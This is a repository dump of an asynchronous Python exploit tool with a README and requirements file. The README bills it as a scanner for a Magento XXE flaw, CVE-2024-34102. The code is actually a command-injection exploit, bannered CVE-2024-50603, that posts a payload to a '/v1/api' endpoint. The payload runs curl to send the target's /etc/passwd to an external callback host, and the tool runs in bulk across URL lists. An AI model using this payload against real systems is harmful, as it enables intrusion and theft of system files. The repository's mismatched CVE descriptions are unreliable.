├── requirements.txt ├── README.md └── cvehunter.py /requirements.txt: -------------------------------------------------------------------------------- 1 | aiofiles==23.2.1 2 | alive_progress==3.1.5 3 | beautifulsoup4==4.12.3 4 | colorama==0.4.6 5 | fake_useragent==1.5.1 6 | httpx==0.27.0 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2024-34102: Unauthenticated Magento XXE 2 | CVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance. 3 | 4 |

5 | 6 |
7 |

8 | 9 | 10 | ### Installation 11 | 12 | ```bash 13 | git clone https://github.com/th3gokul/CVE-2024-34102.git 14 | cd CVE-2024-34102 15 | pip install -r requirements.txt 16 | python3 cvehunter.py --help 17 | ``` 18 | 19 | ### Usage 20 | 21 | ```bash 22 | python3 cvehunter.py -h 23 | 24 | ____ __ __ _____ _ _ _ 25 | / ___|\ \ / /| ____|| | | | _ _ _ __ | |_ ___ _ __ 26 | | | \ \ / / | _| | |_| || | | || '_ \ | __| / _ \| '__| 27 | | |___ \ V / | |___ | _ || |_| || | | || |_ | __/| | 28 | \____| \_/ |_____||_| |_| \__,_||_| |_| \__| \___||_| 29 | CVE-2024-34102 @th3gokul & Sanjaith3hacker 30 | 31 | [Description]: Vulnerability Detection and Exploitation tool for CVE-2024-34102 32 | 33 | options: 34 | -h, --help show this help message and exit 35 | -u URL, --url URL [INF]: Specify a URL or domain for vulnerability detection 36 | -l LIST, --list LIST [INF]: Specify a list of URLs for vulnerability detection 37 | -t THREADS, --threads THREADS 38 | [INF]: Number of threads for list of URLs 39 | -proxy PROXY, --proxy PROXY 40 | [INF]: Proxy URL to send request via your proxy 41 | -v, --verbose [INF]: Increases verbosity of output in console 42 | -o OUTPUT, --output OUTPUT 43 | [INF]: Filename to save output of vulnerable target] 44 | ``` 45 | 46 | 47 | ### About: 48 | 49 | The CVEHunter tool is an exploitation tool for CVE-2024-34102 and the Devlopers of the tool are 50 | - [Th3Gokul](https://www.linkedin.com/in/gokul-v-13455521a/) 51 | - [Sanjaith3hacker @RevoltSecurities](https://www.linkedin.com/in/d-sanjai-kumar-109a7227b/) 52 | 53 | and We specially Thank [bebik](https://github.com/bebiksior) and his [SSRF](ssrf.cvssadvisor.com/) tool which helped in our research and exploitation 54 | on CVE-2024-34102 to know the callbacks, pings and find accurate results while exploiting this vulnerability, We appreciate him for the great contribution for Open Source Community. 55 | 56 | 57 | ### Disclaimer 58 | The tool ⚒️ is only for education 📖 and ethical purpose only and Developers are not responsible for any illegal exploitations. 59 | -------------------------------------------------------------------------------- /cvehunter.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import argparse 3 | import aiofiles 4 | from alive_progress import alive_bar 5 | from fake_useragent import UserAgent 6 | from colorama import Fore, Style 7 | import ssl 8 | import httpx 9 | import random 10 | import os 11 | import json 12 | 13 | green = Fore.GREEN 14 | magenta = Fore.MAGENTA 15 | cyan = Fore.CYAN 16 | mixed = Fore.RED + Fore.BLUE 17 | red = Fore.RED 18 | blue = Fore.BLUE 19 | yellow = Fore.YELLOW 20 | white = Fore.WHITE 21 | reset = Style.RESET_ALL 22 | bold = Style.BRIGHT 23 | colors = [ green, cyan, blue] 24 | random_color = random.choice(colors) 25 | 26 | 27 | def banner(): 28 | banner=f"""{bold}{random_color} 29 | ____ __ __ _____ _ _ _ 30 | / ___|\ \ / /| ____|| | | | _ _ _ __ | |_ ___ _ __ 31 | | | \ \ / / | _| | |_| || | | || '_ \ | __| / _ \| '__| 32 | | |___ \ V / | |___ | _ || |_| || | | || |_ | __/| | 33 | \____| \_/ |_____||_| |_| \__,_||_| |_| \__| \___||_| 34 | CVE-2024-50603 {bold}{white}@th3gokul & @th3sanjai{reset}\n""" 35 | return banner 36 | 37 | 38 | print(banner()) 39 | 40 | 41 | 42 | parser = argparse.ArgumentParser(description=f"[{bold}{blue}Description{reset}]: {bold}{white}Vulnerability Detection and Exploitation tool for CVE-2024-34102" , usage=argparse.SUPPRESS) 43 | parser.add_argument("-u", "--url", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a URL or domain for vulnerability detection") 44 | parser.add_argument("-l", "--list", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a list of URLs for vulnerability detection") 45 | parser.add_argument("-t", "--threads", type=int, default=1, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Number of threads for list of URLs") 46 | parser.add_argument("-proxy", "--proxy", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Proxy URL to send request via your proxy") 47 | parser.add_argument("-v", "--verbose", action="store_true", help=f"[{bold}{blue}INF{reset}]: {bold}{white}Increases verbosity of output in console") 48 | parser.add_argument("-o", "--output", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Filename to save output of vulnerable target{reset}]") 49 | parser.add_argument("-to", "--timeout", type=int, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a timeout value for the HTTP request{reset}") 50 | args=parser.parse_args() 51 | 52 | async def get_instance(session): 53 | try: 54 | base_url = f"https://api.cvssadvisor.com/ssrf/api/instance" 55 | headers = { 56 | "User-Agent": UserAgent().random, 57 | "Referer": "https://ssrf.cvssadvisor.com/", 58 | "Content-Type": "application/json", 59 | "Orgin": "https://ssrf.cvssadvisor.com" 60 | } 61 | 62 | response = await session.request("POST", base_url,headers=headers, timeout=30, follow_redirects=True) 63 | responsed = response.text 64 | value = responsed.strip('"') 65 | return value 66 | except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e: 67 | return 68 | except ssl.SSLError as e: 69 | pass 70 | except httpx.InvalidURL: 71 | pass 72 | except KeyboardInterrupt : 73 | SystemExit 74 | except asyncio.CancelledError: 75 | SystemExit 76 | except Exception as e: 77 | if args.verbose: 78 | print(f"Exception in get-instance: {e}, {type(e)}") 79 | 80 | async def delete_instance(session, instance_id): 81 | try: 82 | base_url = f"https://api.cvssadvisor.com/ssrf/api/instance/{instance_id}" 83 | headers = { 84 | "User-Agent": UserAgent().random, 85 | "Referer": "https://ssrf.cvssadvisor.com/", 86 | "Content-Type": "application/json", 87 | "Orgin": "https://ssrf.cvssadvisor.com" 88 | } 89 | 90 | response = await session.request("DELETE", base_url,headers=headers, timeout=30, follow_redirects=True) 91 | if response.status_code == 200: 92 | pass 93 | 94 | except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e: 95 | return 96 | except ssl.SSLError as e: 97 | pass 98 | except httpx.InvalidURL: 99 | pass 100 | except KeyboardInterrupt : 101 | SystemExit 102 | except asyncio.CancelledError: 103 | SystemExit 104 | except Exception as e: 105 | if args.verbose: 106 | print(f"Exception in delete: {e}, {type(e)}") 107 | 108 | async def instance_log(session, instance_id, url): 109 | try: 110 | base_url = f"https://api.cvssadvisor.com/ssrf/api/instance/{instance_id}" 111 | headers = { 112 | "User-Agent": UserAgent().random, 113 | "Referer": "https://ssrf.cvssadvisor.com/", 114 | "Content-Type": "application/json", 115 | "Orgin": "https://ssrf.cvssadvisor.com" 116 | } 117 | 118 | response = await session.request("GET", base_url,headers=headers, timeout=30, follow_redirects=True) 119 | data = response.json() 120 | raw_data = json.dumps(data) 121 | 122 | if f"{url}" in raw_data: 123 | return "exploited" 124 | else: 125 | return "failed" 126 | 127 | except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e: 128 | return 129 | except ssl.SSLError as e: 130 | pass 131 | except httpx.InvalidURL: 132 | pass 133 | except KeyboardInterrupt : 134 | SystemExit 135 | except asyncio.CancelledError: 136 | SystemExit 137 | except Exception as e: 138 | if args.verbose: 139 | print(f"Exception in log: {e}, {type(e)}") 140 | 141 | async def instance_clear(session, instance_id): 142 | try: 143 | base_url = f"https://api.cvssadvisor.com/ssrf/api/instance/{instance_id}/clear" 144 | headers = { 145 | "User-Agent": UserAgent().random, 146 | "Referer": "https://ssrf.cvssadvisor.com/", 147 | "Content-Type": "application/json", 148 | "Orgin": "https://ssrf.cvssadvisor.com" 149 | } 150 | 151 | response = session.request("DELETE", base_url,headers=headers, timeout=30, follow_redirects=True) 152 | if response.status_code == 200: 153 | pass 154 | 155 | except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e: 156 | return 157 | except ssl.SSLError as e: 158 | pass 159 | except httpx.InvalidURL: 160 | pass 161 | except KeyboardInterrupt : 162 | SystemExit 163 | except asyncio.CancelledError: 164 | SystemExit 165 | except Exception as e: 166 | if args.verbose: 167 | print(f"Exception in clear: {e}, {type(e)}") 168 | 169 | async def save(result): 170 | try: 171 | if args.output: 172 | if os.path.isfile(args.output): 173 | filename = args.output 174 | elif os.path.isdir(args.output): 175 | filename = os.path.join(args.output, f"results.txt") 176 | else: 177 | filename = args.output 178 | else: 179 | filename = "results.txt" 180 | async with aiofiles.open(filename, "a") as w: 181 | await w.write(result + '\n') 182 | except KeyboardInterrupt as e: 183 | quit() 184 | except asyncio.CancelledError as e: 185 | SystemExit 186 | except Exception as e: 187 | pass 188 | 189 | 190 | async def request(session,url,instance_url): 191 | try: 192 | base_url=f"{url}/v1/api" 193 | header={ 194 | "User-Agent": UserAgent().random, 195 | "Content-Type": "application/x-www-form-urlencoded" 196 | } 197 | 198 | body = ( 199 | "action=list_flightpath_destination_instances&" 200 | "CID=anything_goes_here&" 201 | "account_name=1&" 202 | "region=1&" 203 | "vpc_id_name=1&" 204 | f"cloud_type=1|$(curl%20-X%20POST%20-d%20@/etc/passwd%20{instance_url}/?url={url})" 205 | ) 206 | 207 | response = await session.request("POST", base_url, data=body, headers=header , follow_redirects=True) 208 | except (httpx.ConnectError, httpx.RequestError, httpx.TimeoutException) as e: 209 | return 210 | except ssl.SSLError as e: 211 | pass 212 | except httpx.InvalidURL: 213 | pass 214 | except KeyboardInterrupt : 215 | SystemExit 216 | except asyncio.CancelledError: 217 | SystemExit 218 | except Exception as e: 219 | if args.verbose: 220 | print(f"Exception in request module: {e}, {type(e)}") 221 | 222 | 223 | 224 | async def Exploit(session, url, instance_id, sem, bar): 225 | try: 226 | 227 | await request(session, url, f"https://{instance_id}.c5.rs") 228 | await asyncio.sleep(0.5) 229 | result = await instance_log(session, instance_id, url) 230 | 231 | if result == "exploited": 232 | print(f"[{bold}{green}VULN{reset}]: {bold}{white}{url}{reset}") 233 | await save(url) 234 | except KeyboardInterrupt as e: 235 | SystemExit 236 | except asyncio.CancelledError as e: 237 | SystemExit 238 | except Exception as e: 239 | if args.verbose: 240 | print(f"Exception in exploit: {e}, {type(e)}") 241 | finally: 242 | bar() 243 | sem.release() 244 | 245 | async def loader(urls, session,instance_id, sem, bar): 246 | try: 247 | tasks = [] 248 | for url in urls: 249 | await sem.acquire() 250 | task = asyncio.ensure_future(Exploit(session, url,instance_id, sem, bar)) 251 | tasks.append(task) 252 | await asyncio.gather(*tasks, return_exceptions=False) 253 | except KeyboardInterrupt as e: 254 | SystemExit 255 | except asyncio.CancelledError as e: 256 | SystemExit 257 | except Exception as e: 258 | if args.verbose: 259 | print(f"Exception in loader: {e}, {type(e)}") 260 | 261 | async def setup(urls): 262 | try: 263 | urls = list(set(urls)) 264 | 265 | sem = asyncio.Semaphore(args.threads) 266 | proxy = args.proxy if args.proxy else None 267 | timeout = httpx.Timeout(connect=args.timeout, pool=args.threads*2, write=None, read=80.0) 268 | limits = httpx.Limits(max_connections=args.threads, max_keepalive_connections=args.threads) 269 | async with httpx.AsyncClient(verify=False, proxy=proxy, timeout=timeout, limits=limits) as session: 270 | instance = await get_instance(session) 271 | if not instance : 272 | print(f"[{bold}{red}INFO{reset}]: {bold}{white}Unable to create a interactive SSRF server Please run again!{reset}") 273 | exit(1) 274 | with alive_bar(title=f"CVEHunter", total=len(urls), enrich_print=False) as bar: 275 | await loader(urls, session,instance, sem, bar) 276 | await delete_instance(session,instance) 277 | except RuntimeError as e: 278 | pass 279 | except KeyboardInterrupt as e: 280 | SystemExit 281 | except Exception as e: 282 | if args.verbose: 283 | print(f"Exception in threads: {e}, {type(e)}") 284 | 285 | 286 | async def main(): 287 | try: 288 | urls = [] 289 | if args.url: 290 | if args.url.startswith("https://") or args.url.startswith("http://"): 291 | urls.append(args.url) 292 | else: 293 | new_url = f"https://{args.url}" 294 | urls.append(new_url) 295 | new_http = f"http://{args.url}" 296 | urls.append(new_http) 297 | await setup(urls) 298 | 299 | if args.list: 300 | async with aiofiles.open(args.list, "r") as streamr: 301 | async for url in streamr: 302 | url = url.strip() 303 | if url.startswith("https://") or url.startswith("http://"): 304 | urls.append(url) 305 | else: 306 | new_url = f"https://{url}" 307 | urls.append(new_url) 308 | new_http = f"http://{url}" 309 | urls.append(new_http) 310 | await setup(urls) 311 | 312 | except FileNotFoundError as e: 313 | print(f"[{bold}{red}WRN{reset}]: {bold}{white}{args.list} no such file or directory{reset}") 314 | SystemExit 315 | 316 | except Exception as e: 317 | print(f"Exception in main: {e}, {type(e)}") 318 | 319 | if __name__ == "__main__": 320 | asyncio.run(main()) 321 | --------------------------------------------------------------------------------